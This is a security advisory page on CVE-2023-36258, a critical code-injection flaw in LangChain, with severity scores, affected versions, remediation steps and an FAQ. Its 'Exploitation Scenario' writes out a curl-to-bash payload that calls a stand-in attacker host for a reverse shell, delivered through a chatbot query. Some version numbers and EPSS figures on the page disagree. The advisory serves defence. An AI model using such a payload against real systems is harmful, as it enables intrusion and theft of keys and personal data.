CVE-2023-36258: LangChain: unauthenticated RCE via code injection

GHSA-2qmj-7962-cjq8 CRITICAL PoC AVAILABLE CISA: ATTEND
Published July 3, 2023
CISO Take

Any LangChain deployment below 0.0.247 is a critical RCE risk—no authentication or user interaction required. Patch immediately to langchain>=0.0.247 and treat all pre-patch deployments as compromised if they processed external input. Prioritize internet-facing LangChain apps, agent frameworks, and RAG pipelines where attacker-controlled strings reach chain execution.

Risk Assessment

Severity is maximal: CVSS 9.8, network-accessible, zero privileges, zero user interaction, full confidentiality/integrity/availability impact. EPSS is low (0.49%) but this is a well-documented, public exploit with GitHub PoC. LangChain's widespread adoption in LLM apps, agents, and RAG systems means the blast radius is broad. Any org that built AI tooling in 2023 and hasn't audited dependency versions is likely exposed.

Affected Systems

Package Ecosystem Vulnerable Range Patched
langchain pip No patch
136.3K OpenSSF 6.4 2.6K dependents Pushed today 16% patched ~256d to patch Full package profile →
langchain pip < 0.0.247 0.0.247
136.3K OpenSSF 6.4 2.6K dependents Pushed today 16% patched ~256d to patch Full package profile →

Severity & Risk

CVSS 3.1
9.8 / 10
EPSS
0.6%
chance of exploitation in 30 days
Higher than 70% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Attack Surface

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C High
I High
A High

Recommended Action

7 steps
  1. Patch: upgrade langchain to >=0.0.247 immediately.

  2. Audit: run pip show langchain across all environments including dev, staging, CI/CD.

  3. Isolate: run LangChain workloads in containers with minimal filesystem/network permissions and no root.

  4. Restrict: disable Python code evaluation chains (PALChain, PythonREPLTool, LLMMathChain) unless strictly required.

  5. Detect: alert on process spawns (os.system, subprocess) originating from LangChain worker processes.

  6. Network: block outbound connections from LangChain processes unless explicitly needed.

  7. Rotate credentials if pre-patch deployments processed external input.

CISA SSVC Assessment

Decision Attend
Exploitation poc
Automatable Yes
Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
A.6.2 - AI risk treatment A.8.5 - AI system security
NIST AI RMF
MANAGE 2.2 - Mechanisms to sustain oversight of AI risks MAP 5.1 - Likelihood and magnitude of risks from third-party AI
OWASP LLM Top 10
LLM05 - Supply Chain Vulnerabilities LLM07 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2023-36258?

Any LangChain deployment below 0.0.247 is a critical RCE risk—no authentication or user interaction required. Patch immediately to langchain>=0.0.247 and treat all pre-patch deployments as compromised if they processed external input. Prioritize internet-facing LangChain apps, agent frameworks, and RAG pipelines where attacker-controlled strings reach chain execution.

Is CVE-2023-36258 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2023-36258, increasing the risk of exploitation.

How to fix CVE-2023-36258?

1. Patch: upgrade langchain to >=0.0.247 immediately. 2. Audit: run `pip show langchain` across all environments including dev, staging, CI/CD. 3. Isolate: run LangChain workloads in containers with minimal filesystem/network permissions and no root. 4. Restrict: disable Python code evaluation chains (PALChain, PythonREPLTool, LLMMathChain) unless strictly required. 5. Detect: alert on process spawns (os.system, subprocess) originating from LangChain worker processes. 6. Network: block outbound connections from LangChain processes unless explicitly needed. 7. Rotate credentials if pre-patch deployments processed external input.

What systems are affected by CVE-2023-36258?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, RAG pipelines, LLM application backends, chatbot systems, training pipelines.

What is the CVSS score for CVE-2023-36258?

CVE-2023-36258 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 0.63%.

Technical Details

NVD Description

An issue in LangChain before 0.0.236 allows an attacker to execute arbitrary code because Python code with os.system, exec, or eval can be used.

Exploitation Scenario

An attacker targeting a company's LLM-powered customer support chatbot (built on LangChain pre-0.0.236) crafts a query containing Python-executable syntax such as `__import__('os').system('curl attacker.com/shell.sh | bash')`. The input is passed unsanitized into a LangChain chain that internally calls eval() or exec() to process the expression. The OS command executes with the privileges of the LangChain server process, giving the attacker a reverse shell. From there they extract the OpenAI API key, Pinecone/Weaviate credentials, and any PII stored in the RAG database—all without authentication.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
July 3, 2023
Last Modified
November 22, 2024
First Seen
July 3, 2023

Related Vulnerabilities